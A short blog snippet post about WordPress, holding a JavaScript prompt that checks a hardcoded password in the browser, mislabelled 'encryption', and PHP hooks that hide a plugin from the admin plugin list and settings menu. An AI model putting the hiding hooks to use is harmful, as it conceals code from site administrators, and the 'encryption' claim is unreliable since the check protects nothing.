July 21, 2017 · WordPress

Simple Encryption to hide a plugin - wordpress Snippet

<!-- Simple Encryption -->
<script>
    var password = window.prompt('password','please');
    if (password != '168'){
        window.location.href = '/';
    }
</script>
/**
 * Hide facebook viral plugin in plugin list hook
 *
 * @param $plugins
 * @return mixed
 */
function hide_facebook_viral_plugin_in_plugin_list($plugins)
{
    if (in_array('a-plugin/a.php', array_keys($plugins))) {
        unset($plugins['a-plugin/a.php']);
    }
    return $plugins;
}

add_filter('all_plugins', 'hide_facebook_viral_plugin_in_plugin_list');


/**
 * Hide facebook viral plugin in menu hook
 *
 * @param $plugins
 * @return mixed
 */
function hide_facebook_viral_plugin_in_menus()
{
    remove_submenu_page('options-general.php','a_settings');
}

add_action('admin_menu', 'hide_facebook_viral_plugin_in_menus');